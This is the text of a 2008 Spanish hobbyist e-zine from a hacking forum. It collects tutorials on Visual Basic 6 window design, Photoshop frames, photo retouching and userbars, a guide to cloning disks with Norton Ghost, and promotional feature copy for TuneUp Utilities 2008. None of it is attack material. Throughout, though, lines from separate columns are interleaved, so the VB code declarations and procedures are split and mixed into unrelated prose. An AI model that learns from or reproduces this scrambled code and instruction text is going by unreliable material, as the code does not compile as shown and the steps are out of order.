Le ponemos el fondo negro con la herramienta
texto escribimos entrar

Guardamos para web, en formato .Gif como


botón-A.gif, ahora seleccionamos el texto y le
cambiamos el color a un tono gris y en el
resplandor exterior le dejamos como se ve

Para el borde blanco del botón seleccionamos la


capa de fondo y en el menú Capa

A la capa del fondo en el estilo resplandor interior


lo dejamos como se ve en la siguiente imagen, el
color es a vuestro gusto de igual forma todo lo
aquí expuesto, es el estilo personal el que decide
los esquemas de colores que se elegirán para
hace las aplicaciones determinando en ello el tipo
de aplicación y los usuarios a los que llegará
nuestro programa o aplicación.
Diseño de interfaces 1 CUH e-zine 4ª edición
Command le cargamos el form2 con la propiedad
Show y el form1 le cambiamos la propiedad
visible en false, también asignamos los eventos
click de las mascaras o imágenes transparentes,
quedando el code del form1 así:

‘Muestra el form2 y Oculta el form1


Private Sub Command1_Click()
Form1.Visible = False
Form2.Show
End Sub

‘Termina la aplicacion
Private Sub Image1_Click()
End
End Sub

‘Ayuda
De nuevo en Visual agregamos un Command o Private Sub Image2_Click()
botón que llaman, en la propiedad Style le MsgBox "Ayuda"
dejamos en 1-Graphical, seleccionamos la End Sub
propiedad Picture y cargamos la imagen
Boton-A.gif ‘Minimiza el form
Private Sub Image3_Click()
Me.WindowState = vbMinimized
End Sub

Es importante dejar la propiedad StartUpPosition


en 2- CenterScreen, para que siempre arranquen
en el centro de la pantalla sin importar la
resolución de la misma,

De igual forma debemos pegar las mascaras o


imágenes transparentes en el form2 para que
quede funcional por el momento y asignarles el
En las propiedades dejamos como se ve aca
mismo code que en el form1, También agregamos
un Command pero sin asignarle imagen ni nada

Pero al evento click del botón mostrará el form1 y


En la propiedad DownPicture cargamos la imagen
ocultara el form2
que queremos que se active al clicar el botón, de
esta forma creamos un efecto de roll-over sin
‘Muestra el form1 y Oculta el form2
embargo es molesto el borde del command por Private Sub Command1_Click()
ello yo prefiero hacerlo con el control Image y no Form2.Visible = False
con el control Command, al evento click del Form1.Show
Diseño de interfaces 1 CUH e-zine 4ª edición
End Sub

‘Termina la aplicacion
Private Sub Image1_Click()
End
End Sub

‘Ayuda
Private Sub Image2_Click()
MsgBox "Ayuda"
End Sub

‘Minimiza el form
Private Sub Image3_Click()
Me.WindowState = vbMinimized
End Sub

Ahora solo queda diseñar nuestro icono para


terminar el tutorial, retornamos de nuevo a Con este programa podemos crear nuestros
photoshop, abrimos un nuevo documento de 200 iconos de manera rápida y eficiente, la primer
px X 200 px con fondo negro, creamos una nueva pantalla nos muestra el primer frame por defecto
capa y seleccionamos la herramienta rectángulo y de 48 x 48 y de 256 colores, nos vamos al menú
hacemos dos rectángulos uno de fondo blanco Tools
pequeño y uno mas grande de fondo negro y
trazo blanco de un pixel, le ponemos un texto
dentro, mas o menos así

Combinamos las capas visibles y duplicamos la


capa, la transformamos y desocultamos el fondo y
al estilo de capa le ponemos un superposición de
degradado de esta forma

Dejamos todo como se ve en la pantalla anterior,


ahora nos vamos al menú Edit -> Import

Al resultante lo guardamos para web pero esta


vez en formato .jpg, lógico que también
guardamos el documento .psd para poder de esta
forma tener nuestros documentos a la mano por
si necesitamos hacer modificaciones. Abrimos
MicroAngelo Studio 5.5 y
Alli seleccionamos nuestro recién guardado .jpg
Diseño de interfaces 1 CUH e-zine 4ª edición
en Photoshop, ya lo podemos manipular como un
icono

Pero para ello debemos seleccionar una


herramienta de edición como son los pinceles o el
bote pintura, similares a como funcionan en
photoshop las herramientas

Como muchos saben los iconos son usados


dependiendo del tipo del programa que los
necesite, de esta forma podemos tenerlos en
distintas resoluciones para que de esta manera no
se deforme al tener un solo frame y ser requerido
para distintos usos como son el icono que se pone
en el Sistray, los iconos de vista previa y otros
mas, es por ello que es necesario tener nuestro
icono en varias resoluciones , para saber cuantos
frames tenemos nos vamos a esta pantalla y al
hacer clic derecho podemos agregar o eliminar
para ello debemos saber usar el selector de color
frames, como en nuestro caso tenemos el primer
y escoger un monitor pequeñito en la parte
frame en blanco o vacio hacemos clic derecho y lo
superior de la ventana paleta
borramos

Ya es cuestión de experimentar con las tools y con


el programa en si. Guardamos el resultado como
un archivo .ico y listo ya podemos usarlo en
nuestros proyectos

De la misma forma que borramos podemos


agregar nuestros nuevos frames haciendo clic
derecho sobre el frame actual, para cada
resolución creamos un frame, asegurando un
icono especial para cada requerimiento del
sistema, de la misma forma que lo dejamos sin
transparencia, con MicroAngelo también podemos
Volvemos a Visual Basic 6.0 y en el form1,
hacer nuestros iconos trasparentes.
cargamos el icono recién creado, ahora vamos a
resolver el problema de mover el form, como dije
antes, usaremos la API ReleaseCapture y la
Diseño de interfaces 1 CUH e-zine 4ª edición
función SendMessage, para ello las declaramos al SWP_NOOWNERZORDER)
principio del form de la siguiente manera End Sub

‘Declaramos la function SendMessage y la API La otra forma es mas larga perola podemos
ReleaseCapture aplicar a un botón

Private Declare Function SendMessage Lib 'Declaramos la Api


"User32" Alias "SendMessageA" (ByVal hWnd As Private Declare Function SetWindowPos Lib
Long, ByVal wMsg As Long, ByVal wParam As "user32" (ByVal _
Long, lParam As Any) As Long hWnd As Long, ByVal hWndInsertAfter As Long,
ByVal X As Long, _
Private Declare Sub ReleaseCapture Lib "User32" ByVal Y As Long, ByVal cx As Long, ByVal cy As
() Long, _
ByVal wFlags As Long) As Long
‘Declaramos las constantes
Const WM_NCLBUTTONDOWN = &HA1 ‘Se llama la funcion y se declaran constantes
Const HTCAPTION = 2 Sub SetTopmostWindow(ByVal hWnd As Long,
Optional topmost As Boolean = True)
En el evento MouseMove del form la llamamos Const HWND_NOTOPMOST = -2
Const HWND_TOPMOST = -1
Private Sub Form_MouseMove(Button As Integer, Const SWP_NOMOVE = &H2
Shift As Integer, X As Single, Y As Single) Const SWP_NOSIZE = &H1
Dim lngReturnValue As Long SetWindowPos hWnd, IIf(topmost,
If Button = 1 Then 'si es el botón izquierdo HWND_TOPMOST, HWND_NOTOPMOST), 0, 0, 0,
Call ReleaseCapture 0, _
lngReturnValue = SendMessage(Me.hWnd, SWP_NOMOVE + SWP_NOSIZE
WM_NCLBUTTONDOWN, HTCAPTION, 0&) End Sub
End If ‘boton1 pone la ventana encima de todas
End Sub Private Sub Command_Click()
SetTopmostWindow Me.hWnd
Cabe decir que este procedimiento nos sirve para End Sub
mover cualquier control que posea la propiedad ‘boton2 pone la ventana normal
hWnd,. Private Sub Command2_Click()
De esta forma queda solucionado el problema de SetTopmostWindow Me.hWnd, False
las ventanas fijas e inamovibles, otra buena End Sub
opción para nuestros programas es estar
posicionada encima de todas las ventanas activas, Existen diversas maneras de afrontar el diseño de
tal como lo hacen programas como el nuestras aplicaciones pero se hace extenso el
administrador de tareas, esa funcionalidad se texto, es por ello que se queda para otra edición,
llama TOPMOST y se puede lograr de distintas la siguiente parte de este tutorial, cabe decir que
maneras la primera es de esta forma la elección de los colores, es algo que se tratará
en la segunda parte, ya que es algo primordial
'Declaramos la Api para darle una identidad y un aire profesional a
Private Declare Function SetWindowPos Lib nuestros programas, por muy pequeños que sean,
"user32" (ByVal hWnd As Long, ByVal como dicen por ahí, todo entra por los ojos y que
hWndInsertAfter As Long, ByVal X As Long, ByVal mas que el software, gracias a todos por su
Y As Long, ByVal cx As Long, ByVal cy As Long, paciencia y por soportar la larga espera de esta
ByVal wFlags As Long) As Long edición , que como todas las demás siempre ha
'Declaramos las constantes que usará la Api estado plagada de imprevistos y de aplazamientos
Const SWP_NOMOVE = &H2 pero al final se ha terminado, tarde pero se ha
Const SWP_NOSIZE = &H1 logrado, ojala que para los próximos números de
Const SWP_NOOWNERZORDER = &H200 la revista se superen este tipo de impases, Espero
Private Sub Form_Load() que les haya gustado este tutorial, es hecho
'Llamamos la funcion al cargar el form exclusivamente para el CUH E-zine, la revista
Call SetWindowPos(hWnd, -1, 0, 0, 0, 0, electrónica del foro de el-hacker.com
www.el-hacker.com/foro
SWP_NOMOVE Or SWP_NOSIZE Or By Aleks 2008
Diseño de interfaces 1 CUH e-zine 4ª edición
Anexo - Resultados Diseño
Diseño de interfaces 1 CUH e-zine 4ª edición

Iconos

Barras de Titulo
Marco Simple Style CUH e-zine 4ª edicion

3- Seleccionamos la imagen que quedo, vamos a


Selección>Modificar>Contraer y elegimos 5 px.

Hola a todos los lectores de la revista, les traigo un


tutorial para el área de diseño grafico, el “Marco Simple
Style”.
En realidad yo no lo inventé, pero si lo mejore, y debo
decirles que lo que yo les enseño aquí ustedes no lo
hagan como lo hice yo, háganlo mejor ;) .

Comenzamos....
Ya debemos tener la firma pronta, en lo posible de 4- Ahora presionamos Ctrl + J y se creará una nueva
tamaño medio grande así luego de los recortes les capa con la selección.
quedará bien.
En la capa mas pequeña (la que creamos) vamos a
Yo utilizaré esta: Opciones de Fusión y le damos estos parámetros:

Sombra Interior:

Dejamos todo los valores como están.

Trazo:

Tamaño: 1 px
Posición: Fuera
Modo de Fusión: Normal
Opacidad: 100%
1- Lo primero que hacemos es crear una imagen Tipo de Relleno: Color
transparente un poquito mas grande que el tamaño de Color: Blanco
la firma, y luego pegar la firma. Ahora tenemos que
seleccionar el área que utilizaremos para el marco, para
eso usaremos el Lazo Poligonal y si deseamos las guías 5- Ahora en las opciones de fusión de la capa grande
para hacerlo mejor. ponemos esto:

Trazo:

Tamaño: 1 px
Posición: Dentro
Modo de Fusión: Normal
Opacidad: 100%
Tipo de Relleno: Color
Color: Blanco

Nos quedará algo así:


2- Presionamos Ctrl+Shift+I y borramos lo que queda
seleccionado.
Marco Simple Style CUH e-zine 4ª edicion
6- Con la varita mágica seleccionamos la parte externa usar da un efecto muy bonito.
a la capa pequeña de forma que quede así:
Saludos, Furious Dami

Este articulo a sido creado por Furious Dami para la


revista CUH E-Zine de http://foro.el-hacker.com

Documento liberado bajo la licencia Creative Commons


(By-Nc).

7- Creamos una nueva capa presionando en este


botón:

Y en esa capa pintamos de negro la selección, luego


vamos a la capa grande y hacemos lo mismo que
hicimos en el paso 6.

8- Volvemos a la capa negra (sin quitar la selección) y


borramos presionando Suprimir (supr. o delete).

9- Ahora solo cambiamos el modo de la capa a


“Superponer” y si queremos le bajamos la opacidad,
queda así:

Este es un tutorial muy sencillo, pero si lo sabemos


Retoque fotográfico CUH e-zine 4ª edicion

fondo de nuestra foto, duplicamos la capa y en el


modo de fusión lo dejamos en superposición, en
la opacidad le dejamos en 50 %

En este sencillo tutorial les enseñaré como hacer


en pocos pasos un retoque fotográfico, en el cual
se perfeccionarán ciertos detalles, como es el
ocultamiento de acné o cicatrices,
blanqueamiento de dientes, cambio de color de
ojos, maquillaje de labios, cejas, pestañas,
manejo de brillos y del color, en fin lo necesario
para dejar aquellas viejas fotografías como si
fueran para una portada de revista tipo Glam!
Abrimos la fotografía con el photoshop: le aplicamos un filtro de desenfoque

Primero que todo tapamos las imperfecciones de


la pintura de la pared y el intrerruptor con la
herramienta tampón de clonar, con la opacidad en
70 %

Una vez hemos cubierto esas imperfecciones del Em este punto debemos combinar las dos capas
Retoque fotográfico CUH e-zine 4ª edicion
resultantes

Creamos una nueva capa para aplicar un leve En el caso de que se opte por el cambio de color
brillo en los ojos, para ello seleccionamos la de ojos, creamos una nueva capa, el modo de
herramienta lápiz, el tamaño lo dejamos en 1 fusión lo ponemos en superponer y la dejamos
Pixel opacidad en 35 %

Cabe recalcar que para efectuar todos estos


cambios es recomendable manejar fotografías con
una buena resolución, para poder aplicar
acercamientos de detalle y así manipular y
corregir detalladamente la imagen, acercamos el
área de los ojos, a cada ojo le hacemos tres
puntos, mas o menos así
Escogemos la herramienta pincel, debe ser un
pincel duro

A esta capa le aplicamos un desenfoque, y le


ponemos a la opacidad en 45%; para darle un
realce al color natural de los ojos creamos una
nueva capa, la opacidad en 40% y el modo de
fusión superponer

El color depende del color que le queramos poner,


en este caso he escogido el azul, el tamaño debe
ser casi igual al del ojo, pero se debe borrar el
excedente:

Con la herramienta pincel, escogemos un pincel


blando, color blanco, el tamaño debe ser menor al
de los ojos, nos posicionamos en el centro de
cada ojo y aplicamos un pincelazo

Ahora vamos a cubrir imperfecciones de la piel,


con una mascara que haremos especialmente
Retoque fotográfico CUH e-zine 4ª edicion
para ello, creamos una nueva capa y
seleccionamos un color piel que se asemeje al
tono de piel del rostro, o un tono rosa claro o
similar

Con un pincel cubrimos el área del rostro sin


Para quitar imperfecciones mas marcadas
tapar partes como los ojos boca y cejas
debemos trabajar sobre la imagen directamente,
con la herramienta tampón o con el pincel,
dejando muy baja la opacidad para difuminar el
cambio, además debemos ir con calma ya que
podríamos empeorar las cosas, debemos escoger
un área lisa y libre de imperfecciones, cercana al
lugar donde se va a cubrir algo como acné o una
mancha, para trabajar mejor ocultamos todas las
demás capas, haciendo click derecho sobre la
capa, en la parte del ojito, y hacemos los
retoques necesarios

Creamos una nueva capa para pintar los labios,


seleccionamos el pincel, color rojo o el color que
Al modo de fusión lo ponemos asi se te antoje y pintamos el labio entero

Le aplicamos un desenfoque y nos queda algo así: Al modo de fusión lo dejamos en superponer y la
opacidad a vuestro gusto, creamos una nueva
capa y con el pincel blanco hacemos algo asi:
Retoque fotográfico CUH e-zine 4ª edicion
cejas y al resultado le aplicamos un desenfoque

En el modo fusión lo ponemos en multiplicar y en


la opacidad en 40%, para variar creamos otra
A la opacidad la dejamos en 10%, seguimos con capa y la herramienta pincel, con un tono violeta
la línea de los ojos, creamos una nueva capa, y puede ser, es para el color del cabello, dejamos
con el pincel del tamaño necesario para cubrir algo parecido a esto
dicha área le ponemos n color azul oscuro y le
aplicamos la línea alrededor de los ojos

Al modo de capa lo dejamos en superponer, y la


opacidad en 50 %

Y en el modo fusión lo dejamos en superponer y


la opacidad en 95%, el color de cualquier capa lo
cambiamos desde el menú imagen

De nuevo creamos una nueva capa para el brillo


de las cejas, con un pincel blando dejamos algo
como esto

Le ponemos al modo de fusión superponer y la


opacidad la dejamos en 45% o a nuestro gusto,
para resaltar las cejas creamos una nueva capa y
escogemos un pincel delgado y de color marrón
en este caso, la opacidad del pincel debe estar en
65% y el tamaño que se adapte al tamaños de la
ceja, con el borrador depuramos el estilo de las
De esta forma podemos cambiar los tonos de
Retoque fotográfico CUH e-zine 4ª edicion
nuestro retoque, por el momento un detalle de que yo explico acá, pero esta es la forma en que
nuestra fotografía esta quedando así: yo lo hago esto fue mas o menos o que salió al
final:

Y si lo comparamos con el original

Dejo otros resultados del mismo tutorial.

Antes

Ahora solo unos detalles, como son iluminaciones


y un marco y texto para darle realce al diseño en
general, todo depende de nuestro estilo y gusto Despues
también, existen otras formas de hacer lo mismo
Retoque fotográfico CUH e-zine 4ª edicion

Antes

Ya es cuestión de que cada uno experimente y


mire que resultados se acomodan a su forma de
diseñar o a la fotografía, ya que todo depende de
la fotografía que se escoja para hacer el retoque,
como recalque anteriormente lo mejor es tener
imágenes de alta resolución, para tener el
máximo de calidad de la imagen y asi mismo
obtener un resultado casi perfecto, todo depende
del detalle y del esmero con que emprendes tus
proyectos. Espero que les haya agradado a todos
mis amigos de del foro de la web www.el-
hacker.com/Foro o la Comunidad Underground
Hispana CUH, de la cual soy un orgulloso
miembro.

Este tutorial como siempre esta hecho para los


que recién empiezan en esto del diseño!

Sois libres de copiar, modificar y de manipular


este documento a vuestro antojo, ;)

By Alesteir 2008

Suertes ¡!!

Despues
Userbars con PhotoShop CUH e-zine 4ª edición

Despues de vas a Editar>Rellenar y pones estos


valores

Este Tutorial explica la forma de hacer un Userbar


con PhotoSho, primeramente realizarás un
pequeño motivo, que es lo que dará un toque
llamativo al userbar, así que creas un documento
nuevo de 3*3 px con fondo tranparente y le
aumentas el zoom al 1000% y con el lápiz trazas
una línea diagonal sobre el lienzo algo así :

Una ves hecho esto sigues esta ruta: Menú


Nota: Esta en Ingles ya que la versión del cs2 que
Edición>Definir Motivo, le pones el nombre que
uso esta en ese idioma y trato de hacerles la
quieras y guardas, ya una ves guardado cierras el
traducción mas parecida al español de los
archivo.
comandos.
Le bajas la opacidad menor a 30% la que creas
Ahora empezarás con lo bueno, creas un
conveniente
documento nuevo de 350*20 px con fondo blanco
y le agregas un degradado que combine con el
render:

Después sigues esta ruta Capa>Estilo de


Capa>Superposición de Motivo, le das click y
escoges el motivo que habías guardado con
anterioridad y le das ok, debe quedarte algo así:

Nota: la imagen sale así ya que tiene un zoom de Y finalmente le agregas un font que le combine
200% que puse para que se notara el efecto que con tu Nick o lo que gustes y te queda algo así:
se realiza.
Abres tu render y lo pones en tu userbar para que
se vea algo así:
Los resultados varían según la imaginación que
tengas para usar este sencillo tutorial y espero te
sirva
Creas una nueva capa y escoges tu herramienta
de marco elíptico y creas algo asi
Norton Ghost CUH e-zine 4ª edición

no es tan fácil a veces. Podemos clonar 1 disco


teniendo los 2 conectados a la pc o podemos crear 1
imagen para después hacer lo q c nos ocurra, ya sea
meterla en otro hd o sacar archivos d ella con el
GhostExplorer. Esta es 1 utilidad q nos permite
navegar dentro d la imagen y extraer archivos d ella...
similar a lo q podríamos hacer con winiso y 1 imagen
Según la definición de Symantec Norton Ghost
ISO.
es 1 herramienta d clonado o creación d imágenes q
Me parece q ya es demasiada historia y blah
provee la habilidad de copiar el contenido completo d 1
blah... vamos a ver como funciona...
disco o partición.. Los contenidos son copiados
directamente ya sea a otro disco o partición, o son
Uso de Norton Ghost
salvados como 1 archivo q puede luego ser restaurado
a los mismos medios.
El Ghost x supuesto lo podemos encontrar en el
En resumen, lo q podemos hacer con el ghost Hiren’s Boot CD para facilitarnos las cosas... sino lo
es 1 imagen exacta de nuestro disco rígido. Para q pueden descargar d la red. Es 1 ejecutable d poco + d
puede servir esto?? para muchísimas cosas podría ser 1mb... recuerden q hay q correrlo desde dos para lo q c
la respuesta... en principio si tenemos q hacer 1 cambio necesita booteo, etc, etc. Con el Hiren’s c ahorran todo
d disco en 1 pc en lugar d tener q instalar nuevamente eso ;)
SO, drivers, soft, etc lo q hacemos es clonar o como c
dice en la jerga “ghostear” el disco y tenemos el so Booteamos con el Hiren’s y en el menú vamos
instalado y funcionando en solo unos minutos. a:
Parece bueno no?? je... y es solo el principio. ;) Disk Clone Tools -> Norton Ghost 11.0.1 …
Aunque no parezca 1 herramienta de hardware
100% el ghost es usado por la mayoría d los técnicos x
Ahi tenemos 8 opciones distintas, soporte para
la cantidad d posibilidades q brinda tanto para clonado
USB, SCSI, red, distintos tipos d compresión y d
como backup d equipos. El nombre ghost viene d la
tamaño d los archivos resultantes para poder
sigla “General Hardware-Oriented System Transfer”. Su
quemarlos en CD/DVD. Vamos a ver la 8 q es el ghost
existencia data d 1995 cuando pertenecía a Binary
normal q es el archivo del q hablábamos antes q
Research hasta q en 1998 fue comprado x Symantec.
podemos correr también desde 1 diskette, cd, usb, red
Soportaba inicialmente solo sistemas d archivos o lo q sea q podamos llegar a levantar con la pc, esto
FAT, a través de los años fue agregando NTFS (1996) y es lo q hacen las demás opciones, darnos conectividad
posteriormente EXT2, EXT3, etc. tanto para correr el ghost como para copiar las
imágenes. + adelante lo vemos mejor.
A pesar d q hay otros softs para clonado d
discos el norton ghost es el + aceptado x su eficacia y Al abrir el ghost y después d aceptar 1 msg d
robustez. La desventaja q x lo general podemos bienvenida nos encontramos con el menú principal q no
encontrar en reviews o comentarios d usuarios es q el tiene demasiadas opciones, solo las necesarias:
sistema debe correr desde DOS... para mi + q 1
desventaja es justamente 1 ventaja pero bue... en el
moderno mundo d win a la gente le cuesta mucho usar
la consola...

Como decía al principio clonar 1 disco para


cambiarlo es solamente 1 d las posibilidades del ghost.
Gracias al sistema d imágenes lo podemos usar para
hacer backup d 1 pc o para tener 1 imagen si tenemos
q instalar muchas iguales como seria el caso en 1
empresa, ciber, etc., podemos x ej instalar nuestra pc
con todo lo q nos gusta y cuando esta perfecta hacer 1
imagen. Después ante cualquier problema con el SO no
hace falta volver a instalar todo, con solo tirarle la
imagen guardada en el disco tenemos el sistema
corriendo igual q recién instalado en unos 5 mins.
Pisando virus, errores o lo q sea...

Vamos a ver el tema del destino d la imagen xq


Norton Ghost CUH e-zine 4ª edición
En el menú “Local” tenemos todas las opciones Porcentaje completado, velocidad d transferencia, MB
de clonado, desde “Disk” podemos hacer clonado d copiados y restantes y tiempo transcurrido y restante.
disco a disco, disco a imagen o disco desde imagen. Y + abajo en “detalles” vemos la info d la conexión, los
desde el menú “Partition” lo mismo con particiones. discos y particiones además del archivo en copia.
Con esto tenemos todas las operaciones q necesitamos.
Al finalizar tenemos 2 discos exactamente
Vamos entonces a clonar 1 disco a otro.
iguales y ya c puede reemplazar 1 x otro sin ningún
problema. Hasta acá tenemos la situación + normal y
Supongamos q tenemos el 1er caso del q
sin problemas.
hablábamos. Cambiar el disco d 1 pc x otro.
Tendríamos q hacer: En la ultima captura como c puede ver cambie
los discos. El origen es de 100mb y el destino de 500.
Local -> Disk -> To Disk Q pasa en 1 caso así c preguntaran? El disco destino
(500mb) queda con 1 partición equivalente al espacio
C abre 1 ventana preguntándonos x el source o libre q tenga y los datos d la partición d origen. O sea q
disco d origen: en cuanto a datos serian iguales pero la partición ya no
seria d 100 sino d 500mb. El ghost mueve los datos
solamente. La partición si en el origen ocupaba todo el
disco en el destino también. Los datos anteriores x
supuesto q son destruidos sin importar nada.
Si en cambio clonamos particiones el menu nos
va a preguntar en su momento cual es la partición q
queremos ghostear dentro del disco y al meterla en
otra no importa el espacio (siempre q sea mayor), la va
a dejar del tamaño q estaba pero con los datos d la d
origen.
Imágenes
Hasta acá todo c v bastante fácil ya q en todos
estos casos tenemos acceso físico a meterle otro disco
a la maquina, pero... q pasa si hablamos d 1 notebook
o cualquier pc q x 1 razón u otra no podamos abrirla
para conectar el disco d destino?
En el ejemplo tenemos 2 discos iguales d Para eso están las opciones d conectividad q
500mb pero no es necesario q sean iguales... es +, veíamos al comienzo q trae el submenu d ghost del
justamente lo + probable seria 1 cambio x 1 hd + hiren’s y x supuesto lo principal... las imágenes. Todas
grande. Seleccionamos entonces el disco d origen y le estas opciones c pueden llegar a realizar sin hiren’s ya
damos a OK, entonces nos sale 1 ventana similar donde q lo único q nos dan es conectividad, d hecho tiraba
tenemos q elegir el disco d destino. Seleccionamos y imágenes x red mucho antes d q el hiren’s tuviera
comienza a copiarse saliendo otra ventana como esta: soporte para redes, pero como siempre con el cd todo
es mucho + fácil... je

Mucha gente usa el sistema d imágenes (aunq


no fue pensado para eso) como sistema d backup. La
ventaja para el backup es la rapidez ya q el soft trabaja
a bajo nivel y no a nivel d archivos, además d q nos
aseguramos d tener absolutamente todos los datos del
hd en el tiempo en q 1 sistema tradicional d backup
copiaría solo algunas carpetas...

Si no ponemos ninguna opción c dividen en


archivos d 2gb, sino podemos, como veíamos antes,
cortarlas en 700mb (CD) o 4470mb (DVD) desde el
mismo hiren’s sin tener q tocar configuración del ghost.
Y x ultimo pide tipo d compresión q puede variar entre
NO (sin compresión), FAST (compresión rápida) o HIGH
(alta compresión). Si estamos ghosteando a unidades d
red casi no c nota la diferencia entre una y otra debido
a la tasa d transferencia.
Podemos ver arriba d todo la típica barra
indicadora d progreso y + abajo las estadísticas.
Norton Ghost CUH e-zine 4ª edición
script” q trabaja d la misma manera q 1 logon script d
1 domain server. Lo q hace es lanzar 1 bat o solo 1
línea d DOS q le pongamos. Como solo queremos
linkear 1 unidad basta con el clásico “net use x:
\\servidor\recurso”.
Conectividad
Así al terminar d cargar el cliente corre el
comando q en este caso linkea la unidad y recién
después abre el ghost. La única diferencia en este caso
con los anteriores es q en lugar d mandar la imagen a 1
disco local lo mandamos a 1 unidad d red. Cuando
queremos ghostear otra pc hacemos el mismo proceso
pero a la inversa. En lugar d disk “To Image” usamos
“From image”.

Las posibilidades son muchas, solo es cosa d


buscar la forma en base a las circunstancias pero
prácticamente todo c puede ghostear desde y hacia. Es
cosa d experimentar. Este es solo 1 d los métodos
posibles, no es el q yo uso particularmente pero creo q
es el + fácil. Otra posibilidad es la d usar la utilidad
sysprep q viene entre las tools del CD d instalación d
win para crear instalaciones desatendidas orientadas a
X hardware. Es muy útil cuando hay q instalar muchas
pcs iguales ya q ghostearlas nos puede traer problemas
en redes corporativas x el tema del SID... pero eso ya
Las opciones + usadas del menú son x es otra historia. Hace 1 tiempo implemente este
supuesto la d usb y la d network... x lo – son las q yo + sistema para la instalación d unas 100 pcs. Con sysprep
uso. Con la 1era lo q logramos es soporte usb en DOS, c hace la instalación desatendida q tarda – d 5 mins en
con lo cual podríamos conectar 1 disco externo o hasta dejar el so funcionando (con todas las aplicaciones,
1 pendrive y tirar ahí la imagen. En algunos casos no conf, etc) y con ghost c hace y tira la imagen del
queda otra... y aunq la transferencia x usb deja sysprep en c/u d las pcs... pero bue... nos vamos d
bastante q desear sirve para el propósito. tema me parece. Mejor lo dejamos para otra... ;)

La opción d red (mi preferida) corre 1 cliente d


red para DOS q tiene drivers para la mayoría d las
placas q podemos encontrar. Lo único q pide es
user/pass y dominio en el caso d q exista: |_ocutus

El problema con esto es q al terminar d levantar


el cliente directamente lanza el ghost, con lo cual no
nos da tiempo para linkear ninguna unidad donde
mandar la imagen... para eso usamos el campo “logon
Razones para usar TuneUp 2008 CUH e-zine 4ª edición

• Desfragmentación automática en segundo


plano siempre que lo desee

Desfragmentación y reparación del registro

1. Potente desfragmentación de discos duros • Fragmentos reducidos dentro del registro


2. Aceleración óptima de Windows, Internet y del • Repara defectos estructurales
arranque • Libera memoria no utilizada
3. Ordenación rápida y completa de los discos
duros
4. Eliminación eficaz de datos innecesarios
5. Limpieza y mejora completamente automáticas
del equipo
6. Limpieza intensiva del registro
7. Gran ayuda para solucionar los problemas
habituales de Windows
8. Recuperación y destrucción de datos de forma
segura
9. Sencilla configuración de Windows a medida
10. Diseño de Windows personalizado

Mejora del rendimiento

Windows se inicia con lentitud. El equipo se apaga con


lentitud. Los programas se abren de forma titubeante.
Los juegos se bloquean cuando se cargan. ¿Tiene la
impresión de que el rendimiento de su PC es cada vez
peor? Solucione los problemas de velocidad de su
sistema y olvídese de largas reinstalaciones. TuneUp
Utilities 2008 le ayuda a optimizar tanto Windows
como sus programas y juegos, además de dar un
nuevo impulso a su sistema.

Potente desfragmentación de soportes

Evita el inicio de programas no deseados

• Acelera el inicio del sistema


• Muestra los programas que se ejecutan
automáticamente al iniciar Windows
• Reduce en gran medida el tiempo de carga de • También muestra un listado de los programas
Windows, programas y juegos que no se encuentran en la carpeta de inicio
automático
• Se encarga de lograr un notable aumento de
velocidad mediante una desfragmentación • Ofrece claras recomendaciones y descripciones
inteligente de más de mil programas
Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Optimización de Windows y aceleración de


Internet

• Mejora el rendimiento del sistema


• Acelera la navegación y la descarga de archivos
• Da extensos consejos para acelerar el sistema
Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Para optimizar y liberar la memoria de nuestro disco


duro

Desfragmentación y reparación del registro

• Fragmentos reducidos dentro del registro


• Repara defectos estructurales
• Libera memoria no utilizada

Aumento de espacio en disco

• Libera a sus discos duros de datos innecesarios


y que acaban con el espacio disponible en la
memoria
• Muestra directamente en la pantalla de inicio la
cantidad de espacio que ha ganado en la
memoria en cada área
• Busca en pocos segundos en todo el sistema
Tune Up Memory Optimizer
Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Solución de problemas

Archivos defectuosos, pérdida de datos, fallos generales


de software, errores de representación: no deje que
vaya a más.
Mantenga siempre el núcleo de su PC en buen estado y
preocúpese de optimizar el rendimiento del equipo.
Prevenga la pérdida de datos y recupere archivos
eliminados accidentalmente.
TuneUp Utilities 2008 le ayuda a solucionar ese y
otros problemas de su PC con sólo unos pocos clics.

Mantenimiento del sistema


¿Quiere estar seguro de que el rendimiento de su PC
sigue siendo el adecuado durante mucho tiempo y de
que funciona de en óptimas condiciones? Sin embargo,
¿a que no quiere tener que estar constantemente
preocupado por ello? Compruebe y mantenga el
sistema de forma eficaz y sencilla con un mínimo
esfuerzo.
TuneUp Utilities 2008 le ofrece todas las funciones
de mantenimiento importantes para su PC en una única
pantalla. Puede desfragmentar, mantener y limpiar el
sistema cuando quiera y de manera totalmente
automática.

Detectar y solucionar errores de los soportes de


datos

• Localiza y corrige errores del sistema de


archivos
• Recuperar la información de los sectores
dañados de los soportes
• Previene la pérdida de datos

Solución fácil de problemas de Windows

• Soluciona problemas frecuentes en Windows


• Repara, entre otros, errores de representación,
como la desaparición de los iconos "Papelera de
reciclaje" o "Mi PC" del escritorio

Limpie el sistema y téngalo listo siempre con un Restauración de archivos eliminados


sólo clic
• Restaura los archivos ya borrados de la
• Limpie el PC con un sólo clic papelera de reciclaje
• Solucione los problemas del registro • Recupera archivos eliminados accidentalmente
• Consiga más espacio en el disco de unidades USB y cámaras digitales
• Optimice el rendimiento de los discos duros
gracias a la desfragmentación
Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Más herramientas

¿Quiere más? Gracias a nuestras herramientas para


expertos, tiene la posibilidad de profundizar en
Windows.
Supervisar y controlar los procesos activos. Analice el
uso del sistema y de la memoria RAM, además de la
velocidad de transmisión de datos de Internet. Corrija
la configuración del registro o elimine de forma
definitiva datos confidenciales.

Desinstalación de software a fondo

• Muestra la cantidad de memoria que ocupan las


aplicaciones instaladas
• Desinstala de forma rápida y sencilla
Personalizar Windows aplicaciones innecesarias
¿Quiere pasar en pocos minutos del diseño estándar a • Elimina las entradas de desinstalaciones
un estilo propio? innecesarias
¿Hasta qué punto quiere un Windows a su medida? Con
TuneUp Utilities 2008 no hay problema. Supervisión del sistema de forma resumida

Marque la pauta y déle a Windows su toque personal. • Proporciona un resumen detallado de los
Adapte su PC a sus propias necesidades. programas y procesos activos, además de los
Dispone de más de 400 opciones para y ajustar la archivos abiertos
apariencia y la forma de trabajar de Windows. Y todo • Finaliza aplicaciones y procesos con rapidez y
ello, naturalmente, con Windows Vista. sin retardo
• Le ofrece un resumen de los valores de
Configurar Windows por completo rendimiento del sistema
